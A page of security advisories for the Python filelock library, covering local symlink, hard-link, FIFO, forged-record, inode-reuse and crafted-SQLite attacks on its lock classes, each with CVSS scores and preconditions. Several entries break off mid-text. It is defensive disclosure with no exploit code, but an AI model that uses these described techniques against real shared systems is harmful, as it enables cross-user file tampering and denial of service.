Threats affecting pkg:brew/virtualfish

`SoftReadWriteLock` (and `AsyncSoftReadWriteLock`, which wraps one) checks once per lock object, by name, that `<path>.rw`, `<path>.rw/gen` and `<path>.rw/holders` are real directories and not symbolic links (files that redirect to another path). It then keeps only a boolean. Every later record operation resolves the full path again, and `O_NOFOLLOW` (a flag that makes an open fail when the final name is a symbolic link) protects the last component only. Another local user (the other user below) who can write the directory holding the lock, or who created `<path>.rw` first in a sticky directory such as `/tmp` (the sticky bit is a directory flag that lets only a file's owner rename or remove it), can put a tree under that name whose `gen` or `holders` is a symbolic link into a directory of the user running the lock (the lock user below). A long-running process of the lock user that has already passed the check then creates, renames over and deletes files there with the lock user's privileges, including in `0700` directories the other user cannot open. The names and bytes are filelock's own lock records, not chosen by the other user. The scanner's reproducer replaces `.git/HEAD` in the lock user's private repository so that `git status` fails. There is no race. Affected versions: filelock >= 4.1.0 and <= 4.2.0. Anthropic's OSS Scanner reported it in private as `ANT-2026-WXXRI4M4` [high, CWE-367], titled "SoftReadWriteLock follows gen dir swapped for a symlink after first acquire". ## Severity **CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N, 3.3 (Low).** `AV:L` (local): the other user needs an account on the same host. `AC:L` (low attack complexity): the swap happens between two acquisitions, with no race to win. `PR:L` (low privileges): a local user with ordinary privileges is enough. `UI:N` (no user interaction): the lock user's process acts on its own. `C:N` (no confidentiality impact): the other user learns nothing. `I:L` (low integrity impact): the lock user's process replaces a file named `HEAD`, creates `epoch` and generation records, and deletes files whose names match the protocol's patterns, in any directory the lock user can write, with the lock user's privileges. The other user does not choose the bytes, but the files are gone and the chosen directory (a git repository) stops working. `A:N` (no availability impact): the lock itself keeps working and the lock user's process does not stall. The scanner rated it high; we scored the vector for a lock user with ordinary privileges. Classification from the external review: conditional security. It is a cross-user replacement of a cached `.rw` tree that redirects later writes of the lock user through an intermediate symbolic link. It needs a planted tree in sticky `/tmp` or a writable parent without the sticky bit. Scoring note: we rate integrity low rather than high. The bytes written through the swapped tree are filelock's own records, not content the other user chose, so the lower reading of the CVSS integrity metric applies. ## Scope and preconditions - Trust boundary: the other party is a different local account with write access to the lock's parent directory. Without the sticky bit (a `0777` scratch or spool directory, or a group-writable project or cache directory shared with that account's group) write access alone is enough. The other user renames the lock user's own `0700` `<path>.rw` aside and puts its tree in place. In a sticky parent such as `/tmp` the extra precondition is that it created `<path>.rw` (with real `gen` and `holders` directories, mode `0777`) before the lock user's first acquire. `prepare()` accepts an existing tree whoever owns it, and the other user later replaces its own `gen` with a symbolic link. `fs.protected_symlinks=1` (a Linux setting that refuses to follow another user's symbolic link in a world-writable sticky directory) does not intervene, because the link sits inside the other user's own non-sticky `<path>.rw`, not in the sticky parent (the scanner ran with that setting). - Lock user: any process that keeps one `SoftReadWriteLock` or `AsyncSoftReadWriteLock` object (a singleton per path by default) and acquires it more than once, or is waiting for it when the swap happens. A fresh process that meets the planted tree gets `RuntimeError`. Between two acquisitions there is no timing to win. - Targets: any directory the lock user can write, on any filesystem. The other user needs only to know its path (`/home/victim/project/.git` in the reproducer, under a `0700` home directory the other user cannot open). - Platform: observed on Linux. The code path is the same on every POSIX platform and on Windows, where a junction (a Windows directory that points at another directory) at a directory component plays the symbolic link's part. The scanner ran Linux only. - Ancestor boundary: protection against another local user is possible only while no other user can replace the lock's directory or any of its ancestors. That

`SoftFileLock`, `MarkerSoftFileLock`, `SoftFileLease`, their async variants and a `FileLock` that has fallen back to a soft lock on `ENOSYS` decide from the record inside the marker file whether its owner is gone. The marker is the file whose presence says a process holds the lock. They do not check who could have written that record. A local user who can write the marker but cannot remove it rewrites the holder's record to name a dead PID (process id). That position arises with an explicit `mode` with group or other write bits, or the default mode under a lax umask (the process setting that strips permission bits from new files), in a sticky or otherwise non-removable directory. The sticky bit is a directory flag that lets only a file's owner remove or rename it. The next contender running as the holder's account, or root, judges the lock stale, removes the live marker on that user's behalf and acquires it. Two processes then run the critical section together and neither gets an error. Affected versions are filelock 3.22.0 through 4.2.0 (finding `ANT-2026-W1H9NXUH`). ## Severity **CVSS 3.1 `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N` scores 4.7 (Medium).** `AV:L` (local): the other user needs an account on the same host. `PR:L` (low privileges): an ordinary account is enough. `UI:N` (no user interaction). `AC:H` (high attack complexity): the marker must carry group or other write bits (an explicit permissive `mode`, or umask `002`/`000` with a shared group), and a contender of the holder's account must ask for the lock while the forged record is in place. `I:H` (high integrity impact): two holders then write whatever the lock protects, and the holder is not told. `C:N` and `A:N` (no confidentiality or availability impact). `S:U` (scope unchanged). Classification from the review: **security, conditional** on another user being able to write the live marker. The scanner rated it high (CWE-345). The default mode under umask `022` is not affected. ## Scope and preconditions - The other user can write the marker. The application passes a `mode` with group or other write bits, which `fchmod` applies as given since 4.1.0. `0o666` is a common choice for a lock shared between accounts, although a soft-lock contender of another account waits as well on a `0o644` marker, since contenders only read and rename. Or the application uses the default mode (`0o666` through the umask) under umask `002` in a directory whose group the other user belongs to, or under umask `000`. The default mode under umask `022` is not affected. - The other user cannot remove the marker itself: the directory is sticky, or the other user cannot write it at all (a `0755` directory owned by the lock's user gives the same overlap). In a non-sticky shared directory the other user can unlink the marker without filelock, and filelock adds nothing. - A contender that may rename the marker asks for the lock: another process of the holder's account (several workers of one user) or root. A contender of another unprivileged account cannot rename the marker in a sticky directory and times out. - The finding reaches every class that publishes a soft marker: `SoftFileLock`, `MarkerSoftFileLock`, `SoftFileLease`, their async variants, and `FileLock(mode=0o666)` on a filesystem where `flock` (a kernel lock on an open file) fails with `ENOSYS`. These protections against another local user hold only when no other user can replace the lock's directory or any of its ancestors. That holds when each ancestor belongs to the user or root and is either not writable by others or sticky. A user who can rename entries in a non-sticky directory above the lock controls every name below it, which no file-based lock can defend against. ## Affected code At the scanned commit b831496: the create mode in [`SoftFileLock._acquire`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft.py#L67-L71), the explicit-mode `fchmod` in [`_apply_explicit_mode`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft.py#L100-L105), the trusting verdict in [`_try_break_stale_lock`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft.py#L107-L123) and the [`owner_is_stale`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_identity.py#L64-L79) it relies on; the same call in [`MarkerSoftFileLock`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_marker.py#L74-L81) and [`SoftFileLease`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_lease.py#L229-L256). ## Introduced The stale verdict that trusts the record came in with e35c3afac473 ("feat(soft): detect and break stale locks", #476, 2026-02-13), first released in 3.22.0. From then on a marker left group- or other-writable by the umask is forgeable. The re

`StrictSoftFileLock` and `AsyncStrictSoftFileLock` check `<path>.filelock` (the coordination directory that holds the lock's state) with one `lstat` call on its name. `lstat` reports what a name is without following a symbolic link (a file that redirects to another path). After that check, the code reaches `<path>.filelock/claims` by pathname for every later operation (`mkdir`, scan, publish, link, unlink). `_open_directory` passes `O_NOFOLLOW` (a flag that makes an open fail when the final name is a symbolic link), but the flag covers only the final `claims` component. The kernel follows a symbolic link in any earlier component. Another local user (the other user below) who can rename `<path>.filelock` exchanges it for a symbolic link after the check. In a shared directory without the sticky bit (a directory flag that lets only a file's owner rename or remove it), any user with write access can do this. Where the shared directory is sticky, such as `/tmp`, only the user who created `<path>.filelock` before the user running the lock (the lock user below) first used it can. The lock user's process (root's, if root takes the lock) then creates a `claims` directory and claim files (the files whose presence says a process wants or holds the lock) inside a directory the other user chooses but only the lock user can write. When the link points at another strict lock's `.filelock` directory, the stranded claims make that lock time out for every process until an operator finds and force-breaks each one. The `claims` property and `force_break()` resolve the same path with no check at all. Affected versions: filelock >= 3.30.0 and <= 4.2.0 (finding `ANT-2026-SVFEYX89`). ## Severity **CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:H, 5.8 (Medium).** `AV:L` (local): the other user needs an account on the same host. `AC:H` (high attack complexity): the swap must land between the `lstat` and the next `mkdir`. The other user does not aim at that window. It flips the name in a loop with `renameat2(RENAME_EXCHANGE)` (a system call that swaps two names in one step) across repeated acquires, and won after 1 to 31 runs of the lock user's program in the scanner's trials. A sticky directory also requires it to have created `<path>.filelock` first. `PR:L` (low privileges): an unprivileged account is enough. `UI:N` (no user interaction): the lock user's process acts on its own. `C:L` (low confidentiality impact): through `claims`, one file name per planted link from a directory only the lock user can list. `I:L` (low integrity impact): a directory named `claims` and files with filelock's fixed claim names and contents appear, created with the lock user's privileges, in a directory the other user chooses but cannot write. The process overwrites or truncates nothing that exists. `A:H` (high availability impact): aimed at another strict lock of the lock user, the stranded claims deny that lock to every process until an operator finds and force-breaks each one. Classification from the review: security, conditional on the other user being able to rename the intermediate component. The scanner rated it high (CWE-363). ## Scope and preconditions - The other user can rename `<path>.filelock`. In a writable directory without the sticky bit (a `0777` or group-writable project or cache directory), any user with write permission on the directory can, even though the lock user created and owns `<path>.filelock`. In a sticky directory such as `/tmp`, only the user who created `<path>.filelock` before the lock user's first use can, because that user then owns both the directory and the symbolic link (the planting precondition of GHSA-9c4x-gm8v-wgc4). - The link's target is a directory the lock user can write. The effect that matters is on that directory. An acquire that completes through the link also holds the shared lock with its claims elsewhere, but a user who can rename `<path>.filelock` can defeat that lock's exclusion anyway. - `fs.protected_symlinks=1` (a Linux setting that refuses to follow another user's symbolic link in a world-writable sticky directory) does not interfere. The link is an intermediate path component, not the last one. In the sticky-directory case it also sits in a directory the other user owns. - Missed attempts show up to the lock user as `SoftFileLockProtocolError` or `FileNotFoundError`. The swap therefore works against a lock that a program takes more than once: a periodic job, a worker pool, or a caller that retries or waits with a timeout (each poll of a waiting acquisition is a new attempt). - The two entry points that need no race (`claims` and `force_break()` on a resting symbolic link) depend on the lock user inspecting or recovering the lock. The planted link invites this by making `acquire()` fail with a protocol error. The `force_break()` variant works only when the lock user breaks claims that name a live process on its own host without checking them first, as the recovery loop in `docs/tutorials.rst

The stale-lock break shared by `SoftFileLock`, `MarkerSoftFileLock` and `SoftFileLease` (and their async variants, and a `FileLock` that has fallen back to a soft lock on `ENOSYS`, the "not implemented" error) recognises the marker it judged stale by two values. The marker is the lock file at `<path>`, whose presence says a process holds the lock. The values are its inode number (the kernel's identity for a file, independent of its name) and its modification time (mtime) not being newer. The check runs after the contender has already closed the marker, so nothing keeps the inode allocated. On a filesystem that hands a freed inode number straight to the next file (ext4, xfs, overlayfs on them) the next holder's marker can carry that number. A contender still between its read and its break then renames and unlinks the live marker. Another local user (the other user below) who can create files in the lock's directory, a sticky `/tmp` included (the sticky bit is a directory flag that lets only a file's owner remove it), forces this at will. It plants a marker with a stale owner record and a modification time in the future and unlinks it as soon as a contender has read it. Two processes of the user running the lock (the lock user below) then hold the same default-configured lock at once, and nothing raises or logs. Affected versions: filelock >= 3.22.0 and <= 4.2.0 (finding `ANT-2026-KIIS96IX`). ## Severity **CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N, 4.7 (Medium).** `AV:L` (local): the other user needs an account on the same host. `AC:H` (high attack complexity): a race, though one the other user starts, lengthens (by making the lock user's `/proc` read slow) and retries at every release. The scanner measured 10 to 26 overlaps per 20-second run. `PR:L` (low privileges): an unprivileged account is enough. `UI:N` (no user interaction): the lock user's processes act on their own. `C:N` (no confidentiality impact): the other user reads nothing. `I:H` (high integrity impact): two holders write the data the lock protects, and neither learns of the other. `A:N` (no availability impact): the lock keeps working. Classification from the review: security, conditional on a sticky shared directory, ext4-style inode reuse and at least two contenders of the lock user. Our review verified it across UIDs (a UID is a user account's numeric id): the other user as uid 1001, the lock user's processes as uid 1000, BUG on 4.2.0 over ext4. The scanner rated it high (CWE-367). ## Scope and preconditions - The other user can create files in the lock's directory; a root-owned `1777` directory such as `/tmp` or `/var/tmp` is enough. It creates, `utime`s (sets the timestamps of) and unlinks only its own file. The sticky bit stops it removing the lock user's marker (checked: `EPERM`, operation not permitted), so the lock user's own stale break does the deletion. - The directory is on a filesystem that hands a freed inode number straight to the next file. ext4 does (six create/unlink rounds returned one number six times, in the image's overlayfs `/tmp` and on a loop-mounted ext4), and xfs does. tmpfs returned six increasing numbers and the same run there gave no overlap, and btrfs does not hand a freed number back. - The lock user has at least two processes contending for the lock, and the displaced holder is still inside when the next contender polls (the breaker itself comes back one `poll_interval`, 50 ms by default, later). - The lock is `SoftFileLock`, `MarkerSoftFileLock` or `SoftFileLease` (or async forms). The default `flock`-based `FileLock` joins them only after it has fallen back to `SoftFileLock` on `ENOSYS`. `StrictSoftFileLock` does not call `break_lock_file`, so it is not affected. - The same overlap also occurs with no other user involved, under heavy same-account contention, when a contender breaks a dead holder's marker and a successor creates its marker within the same timestamp tick (about once in 750 crashes with 64 workers on a 2-CPU machine, not on tmpfs). filelock's checks against another local user hold only when no other user can replace the lock's directory or any of its ancestors. That is the case when each ancestor belongs to the lock user or root and is either not writable by others or sticky. A user who can rename entries in a non-sticky directory above the lock controls every name below it. No file-based lock can defend against that. ## Affected code At the scanned commit b831496, the re-check sits in [`break_lock_file`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_util.py#L113-L118). Its callers are [`SoftFileLock._try_break_stale_lock`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft.py#L107-L123), [`MarkerSoftFileLock._try_break_stale_lock`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_marker.py#L74-L81) and [`SoftFileLease._try_break_stale_l

`SoftReadWriteLock` (and `AsyncSoftReadWriteLock`, which wraps one) refreshes its holder record (the file under `<path>.rw/holders/` that says a process holds or wants the lock) on every poll of a waiting acquire and on every heartbeat (the periodic refresh a holder runs to keep its record fresh). It does so by reopening `<path>.rw/holders/<token>` by name with a plain blocking `O_WRONLY | O_NOFOLLOW` open and writing at offset 0, without checking what it opened. `O_NOFOLLOW` makes the open fail only when the final name is a symbolic link (a file that redirects to another path). A different local user (the other user below) who owns the lock's `.rw` tree reads the token of the user running the lock (the lock user below) from the `holders/` listing and renames another node over the record. The other user owns the tree because it created it first in a sticky directory such as `/tmp` (the sticky bit is a directory flag that lets only a file's owner rename or remove it), or because it can write a lock directory without the sticky bit. A FIFO (a named pipe: a file whose open for writing blocks until some process opens it for reading) makes the lock user's `write_lock()` / `read_lock()` hang regardless of `timeout`. It also stops a lock holder's heartbeat thread without `on_compromise` (the callback that tells a holder it lost the lock) ever running, so the lock grants a second process while the first still believes it holds it. This works on a default Linux. Where the kernel lets a user hard-link a file it does not own (a hard link is a second name for the same file; Linux with `fs.protected_hardlinks=0`; macOS and the BSDs by their defaults, not executed), a hard link makes the lock user overwrite the first ~135 bytes of one of its own private files with its holder record. Affected versions: filelock >= 4.0.0 and <= 4.2.0. Anthropic's OSS Scanner reported it in private as `ANT-2026-AT33VEVC` [medium, CWE-62], titled "SoftReadWriteLock holder refresh writes through hard links, hangs on FIFOs". ## Severity **CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H, 6.1 (Medium).** `AV:L` (local): the other user needs an account on the same host. `AC:L` (low attack complexity): on a default Linux there is no race. `PR:L` (low privileges): a local user with ordinary privileges is enough. `UI:N` (no user interaction): the lock user's process acts on its own. `C:N` (no confidentiality impact): the other user learns nothing. `I:L` (low integrity impact): where the kernel permits hard links to files one does not own, the lock user also writes its holder record over the first ~135 bytes of one of its private files. The bytes are filelock's record, not chosen by the other user, so the change stays within that record. `A:H` (high availability impact): the other user makes a lock user's acquire outlast any `timeout` and leaves a holder's heartbeat thread asleep. The lock then evicts the holder without telling it, and two processes believe they hold the write lock. Classification from the external review: conditional security. The owner of a planted `.rw` tree can make the refresh open a FIFO and stall a lock user, including its heartbeat. Overwriting a file of the lock user through a hard link also needs a permissive hard-link policy. The scanner rated it medium. ## Scope and preconditions - Trust boundary: the other party is a different local account that owns the lock's `.rw` tree. Either it created `<path>.rw` (with `gen/` and `holders/`) before the lock's first use in a sticky directory such as `/tmp`, where `prepare()` adopts an existing tree whoever owns it and whatever its mode. Or the lock lives in a directory without the sticky bit that the account can write (the scanner checked a root-created `0777` directory). There being first is not needed, because the other user renames the lock user's own `0700` tree aside and puts its own in place; `prepare()` does not run again for a live lock object, and a waiting lock user recreates its record in the replacement. A tree the lock user already created in a sticky directory (mode `0700`) is out of reach. - FIFO variant: needs only that boundary. It works on a default Linux. `fs.protected_hardlinks` plays no part, and `fs.protected_fifos=1` (a Linux setting that refuses some opens of FIFOs in sticky world-writable directories) does not help, since it covers `O_CREAT` opens in sticky directories only, and the other user renames the FIFO into place inside its own `holders/`. - Hard-link variant: also needs a kernel that permits a hard link to a file the caller does not own. That is Linux with `fs.protected_hardlinks=0` (the kernel's built-in value; observed), while most distributions and the scanner's test image boot with `1`, under which the other user's `link()` fails with `EPERM` (operation not permitted) and the file stays untouched. macOS and the BSDs have no such restriction by default; that follows from their `link(2)` semantics, and the scanner did not execute it. The tar

`ReadWriteLock` and `AsyncReadWriteLock` (the SQLite-backed reader/writer lock) run `PRAGMA journal_mode=MEMORY` on a fresh connection for every acquire. That statement makes SQLite load the whole schema (the `sqlite_master` table, which lists every table and index with its `CREATE` text) of whatever file sits at the lock path. The caller's `timeout` reaches SQLite only as `busy_timeout`, which bounds waits for another connection's lock, not schema loading. The only content checks reject non-regular files and WAL mode (write-ahead log, an SQLite mode that keeps changes in a side file). A local user who can place or overwrite the file at a `ReadWriteLock`'s database path can therefore make every `acquire_read` / `acquire_write` of every process using that lock ignore its `timeout` and `blocking=False`. That position needs a non-sticky shared directory, or a database owned by the user running the lock (below: the lock user) that other users may write. One 37 KB crafted file stalls each acquire for as long as its author chooses while the process allocates about 1 GB. A second 28 KB layout makes the acquire of a free lock run without end, spinning at 100% CPU and ignoring Ctrl-C. The effect is availability only: the other user reads nothing and corrupts nothing. Affected versions are filelock 3.20.4 through 4.2.0. Anthropic's OSS Scanner reported this in private as `ANT-2026-NFPRHMYJ` [medium, CWE-400]: ReadWriteLock: crafted lock database hangs acquire regardless of timeout. ## Severity **CVSS 3.1 `CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H` scores 5.5 (Medium).** `AV:L` (local): the other user needs an account on the same host. `PR:L` (low privileges): an ordinary account is enough. `AC:L` (low attack complexity): the other user plants one file; no race. `UI:N` (no user interaction). `A:H` (high availability impact): every acquire of every process using the lock runs for as long as that user chose, or does not return, with `timeout` and `blocking=False` ignored and `SIGINT` not delivered, so only killing the process ends it. `C:N` and `I:N` (no confidentiality or integrity impact): the other user reads nothing and corrupts nothing. `S:U` (scope unchanged). Classification from the external review: **conditional security**, an availability concern only when an untrusted actor can supply the database file (it needs a writable or replaceable database path). The scanner rated it medium. The review agrees with the mechanism and the precondition. ## Scope and preconditions - The other party is a different local account that can create or replace the file at the lock path. One way: the lock directory is writable by that account and not sticky (the sticky bit is a directory flag that lets only a file's owner remove or rename it), for example a group-writable project or cache directory. There the account can be the first to create the database, or rename the lock user's database aside and put the crafted one in its place. The other way: the lock user's own database is writable by that account (`0666`), which is the setup a lock shared between accounts needs. In a `1777` directory the scanner wrote the crafted file over such a database in place, and the lock user's next acquire hung. The lock user must be able to open the file read-write, so a file the other user creates is `0666`. - Sticky directories and kernel settings. In a sticky world-writable directory such as `/tmp`, Linux with `fs.protected_regular=2` (a kernel setting) refuses the lock user's `O_CREAT` open of a file owned by the other account with `EACCES`. A database owned by the other user does not work there. That does not cover a `0666` database owned by the lock user. The scanner did not test systems with `fs.protected_regular=0` (the kernel's own default). - Platform. Every platform runs the same statements. On Windows the documentation already requires a lock directory that untrusted users cannot write, so the shared-directory setup is outside what the project supports there. - Ancestor boundary. Protection against another local user is possible only while no other user can replace the lock's directory or any of its ancestors. That holds when each ancestor belongs to the user or root and is either not writable by others or sticky. ## Affected code At the scanned commit `b831496b0273`: [`_configure_and_begin` runs `PRAGMA busy_timeout=...; PRAGMA journal_mode=MEMORY;` on a fresh connection](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L814-L816), and for a read lock [`SELECT name FROM sqlite_master LIMIT 1` at line 832](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L832). The code in [`_do_acquire_inner` closes the previous connection and opens a new one on every acquire](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L745-L754). The only content checks

`raise_on_not_writable_file()` is the check that `SoftFileLock` and the locks sharing its acquire path run before every attempt. It looks at the lock path with `os.lstat`, so that it judges a planted symlink (a file that points at another path) by itself. When the node has no owner-write bit, it then calls `os.access(filename, os.W_OK)`, which follows symlinks. A local user who can create entries in the lock's directory can swap the path between a mode-`0466` file and a symlink to a path of their choosing. The second call then reports on the symlink's target with the permissions of the user running the lock (below: the lock user). The lock user's `acquire()` ends in `PermissionError` within a fraction of a second when the target is missing or not writable by the lock user, and in the ordinary `Timeout` otherwise. That yields one bit per watched acquire. The bit says whether a path exists and is writable by the lock taker. It covers paths under directories the other user cannot search, or any path when root takes the lock. The lock does not open, create or modify anything through the symlink. On Linux, `fs.protected_symlinks` (a kernel setting that refuses to follow another user's symlink in a sticky world-writable directory) blocks it in a directory such as `/tmp`. It does not block it in a `0777` directory without the sticky bit (a directory flag that lets only a file's owner remove or rename it) or in a sticky group-writable one. This reopens the leak PR #567 closed. Affected versions are filelock 3.32.6 through 4.2.0. Anthropic's OSS Scanner reported this in private. Finding covered by this advisory: - `ANT-2026-RQ91AXTW` [medium, CWE-59]: Symlink TOCTOU in raise_on_not_writable_file leaks file existence. ## Severity **CVSS 3.1 `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N` scores 2.5 (Low).** `AV:L` (local): the other user needs an account on the same host. `PR:L` (low privileges): an ordinary account is enough. `UI:N` (no user interaction). `AC:H` (high attack complexity): the swap has to land between two system calls a few bytecodes apart (6 to 12 % of back-to-back acquires with the other user on a second CPU, 1 in 8 000 on one CPU), and the other user has to observe how the lock user's acquire ended. `C:L` (partial confidentiality impact): one bit per acquire (existence or writability of a chosen path), no content. `I:N` and `A:N` (no integrity or availability impact). `S:U` (scope unchanged). Classification from the review: **security, conditional**, "a one-bit probe of a victim-only path" that "Linux protected symlinks block in the common sticky `/tmp` case, but not every shared directory". The scanner rated this medium. The maintainers score it low for the complexity and the one-bit yield. ## Scope and preconditions - The affected classes are `SoftFileLock` and everything that reuses its `_acquire`: `MarkerSoftFileLock`, `SoftFileLease`, the async soft locks, and `FileLock` after an `ENOSYS` fallback to a soft lock. `UnixFileLock` itself does not call the helper. `WindowsFileLock._acquire()` does, but on Windows `os.access` reads the link's own read-only attribute and does not follow it; that branch did not run. - The other user must be able to create entries in the lock's directory. With Linux defaults (`fs.protected_symlinks=1`) the kernel refuses the lock user's attempt to follow another user's symlink in a directory that is both sticky and world-writable. `/tmp` therefore gives `PermissionError` for every target and leaks nothing. A `0777` directory without the sticky bit, or a sticky group-writable one (`1770` with a shared group), has no such cover and leaks as described. macOS and the BSDs have no `fs.protected_symlinks`, and a symlink there has mode bits of its own, so one without the owner-write bit would reach `os.access` with no swap at all (not executed). - The swap is practical only with a second CPU for the other user. - The other user needs to see how the lock user's acquire ended, for example the exception in a shared log, an exit status, or when the job stopped (`PermissionError` ends a blocking acquire within about a second; the other case runs to its timeout). The scanner also observed a variant that needs no output from the lock user. Hold the soft lock, set the marker (the lock file whose presence says a process holds the lock) to mode `0o066`, swap the symlink in and out for a few seconds, release, and see whether a marker owned by the other uid appears. A contender still waiting takes the lock; one that raised is gone. - The `O_NOFOLLOW` open that follows the check is not affected. The lock does not read, create or modify anything through the symlink. ## Affected code Scanned commit `b831496b0273`: in `raise_on_not_writable_file`, the [`os.lstat` that states the invariant](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_util.py#L46-L50) and the [`os.access` call that follows symlinks](https://github.com/tox-dev/filel

`StrictSoftFileLock`, `AsyncStrictSoftFileLock`, `SoftReadWriteLock` and `AsyncSoftReadWriteLock` keep their whole ownership state as files in a directory derived from the lock path (`<path>.filelock/claims`, `<path>.rw/{gen,holders}`). When that directory already exists they adopt it after checking only that it is a real directory, not who owns it. Another local user who can create names in the lock's directory can create the tree before the first acquire on that path by the user running the lock (below: the lock user). In `/tmp`, `/var/tmp` or another sticky shared directory any user can do that; the sticky bit is a directory flag that lets only a file's owner remove or rename it. The other user then owns the tree. They can unlink the lock user's claims while the lock user holds the lock, so a second process of the lock user, root included, enters the same critical section and neither process sees an error. Against `SoftReadWriteLock` the same position also admits two writers with `on_compromise` silent. It redirects the lock user's own creates and renames into a directory the other user picks (the scanner replaced a repository's `.git/HEAD` with a filelock record written with the lock user's privileges). It also keeps the lock user's acquire or release running past any `timeout`. Affected versions are filelock 3.30.0 through 4.2.0 (finding `ANT-2026-Q5VK5JEE`). ## Severity **CVSS 3.1 `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H` scores 6.3 (Medium).** `AV:L` (local): the other user needs an account on the same host. `PR:L` (low privileges): an ordinary account is enough. `UI:N` (no user interaction). `AC:H` (high attack complexity): the other user must create the protocol directory before the lock user's first acquire on that path. That depends on the path being new, or on a reboot, a tmp cleaner or the documented `<path>.rw` recovery having removed its tree; once planted, the rest needs no race. `I:H` (high integrity impact): two holders write whatever the lock protects, and for `SoftReadWriteLock` the lock user's process creates, replaces or deletes files named `HEAD`, `epoch` and `0000000000000000000N` in any directory the lock user can write. `A:H` (high availability impact): the owner of `<path>.rw` can make the lock user's `read_lock(timeout=1)` spin at full CPU without end, cost 22 s per acquire, or pin 1 MiB of memory per planted file until a heartbeat thread dies of `MemoryError`. `C:N` (no confidentiality impact). `S:U` (scope unchanged). Classification from the review: **security, conditional** on the other user winning initial ownership of the protocol directory. The scanner rated it high (CWE-283). With `AC:L` the same impacts would score 7.1. ## Scope and preconditions - The other user can create names in the directory that holds the lock. In a sticky `1777` directory such as `/tmp` any local user can. The sticky bit stops that user from renaming or removing a directory the lock user created, but does nothing for one the other user created first. - The other user gets there first: `<path>.filelock` (strict) or `<path>.rw` (soft read-write) must not exist when the lock user's process first acquires. `_strict.py` does not remove the directory at any point, so a path the lock user has already used stays safe for as long as the tree exists. The exposure is a new lock path, or one whose tree a reboot, a tmp cleaner, a cache purge or the recovery described in `docs/how-to.rst` removed. - For the strict lock the planted directory must be writable by the lock user (`0777`); a planted `0755` directory makes the lock user's acquire fail with `PermissionError` instead. Planting only the outer `<path>.filelock` is enough. The lock user creates `claims` inside it, and the other user, as owner of the parent, renames that `claims` aside and creates an empty one. - The Linux `fs.protected_regular`, `fs.protected_symlinks`, `fs.protected_hardlinks` and `fs.protected_fifos` sysctls (kernel settings, all enabled in the scanner's image) do not interfere. They cover regular files, symlinks, hard links and FIFOs, not directories. The `SoftReadWriteLock` symlink redirect below also passes `fs.protected_symlinks=1`, because the symlink (a file that points at another path) sits in the other user's own non-sticky directory. - The affected classes are `StrictSoftFileLock` and `AsyncStrictSoftFileLock` (which inherits `_acquire`), and `SoftReadWriteLock` and `AsyncSoftReadWriteLock` with default options. `FileLock` gives way to the same position (when the other user creates the lock file first with mode `0666` and unlinks it during a hold, a second lock user process acquires), so the strict lock is not weaker than the native one here. This advisory reports it because `StrictSoftFileLock` is the lock documented as fail-closed and already raises `SoftFileLockProtocolError` for a symlink or a regular file at the same names, while it uses a directory that belongs to someone else without any signal. The `SoftReadWri

`UnixFileLock`, the backend of `FileLock` and `AsyncFileLock` on Unix, empties whatever regular file it finds at the lock path once it holds the `flock` (a kernel lock on an open file). With an explicit `mode` it also chmods that file (sets its permission bits), whether or not this acquire created it. Another local user who can rename or hard-link one of the files of the user running the lock (below: the lock user) onto the lock path gets that file truncated by the lock user's next `acquire()`. A hard link is a second name for the same file. With a mode such as `0o666` the file, still owned by the lock user, also becomes readable and writable by that other user. The other user can then read and alter everything the lock user writes to it afterwards. `O_NOFOLLOW`, the defence added for the symlink variant (CVE-2025-68146), does not see a renamed file or a hard link. The rename route needs the file's directory to be writable without the sticky bit (a directory flag that lets only a file's owner remove or rename it). The hard-link route into a sticky directory such as `/tmp` needs `fs.protected_hardlinks=0`, a Linux kernel setting. Affected versions are every filelock release up to and including 4.2.0 (the truncation is as old as the project; the chmod since 3.10.2). Anthropic's OSS Scanner reported this in private. Finding covered by this advisory: - `ANT-2026-KO573NWI` [high, CWE-706]: UnixFileLock truncates and chmods victim files renamed onto the lock path. ## Severity **CVSS 3.1 `CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N` scores 6.1 (Medium).** `AV:L` (local): the other user needs an account on the same host. `PR:L` (low privileges): an ordinary account is enough. `UI:N` (no user interaction). `AC:L` (low attack complexity): one rename or link, then wait for the lock user's next acquire; no race. `I:H` (high integrity impact): the lock user's own process truncates a file it did not mean to touch, including content behind a second name the other user could neither modify nor delete. With a permissive explicit `mode` the other user can then write to it. If that file is one the lock user later executes or trusts, that is code execution as the lock user. `C:L` (partial confidentiality impact): the old content is gone before the other user can read anything, but what the lock user writes afterwards through a descriptor (the number the kernel gives a process for an open file) it still holds is 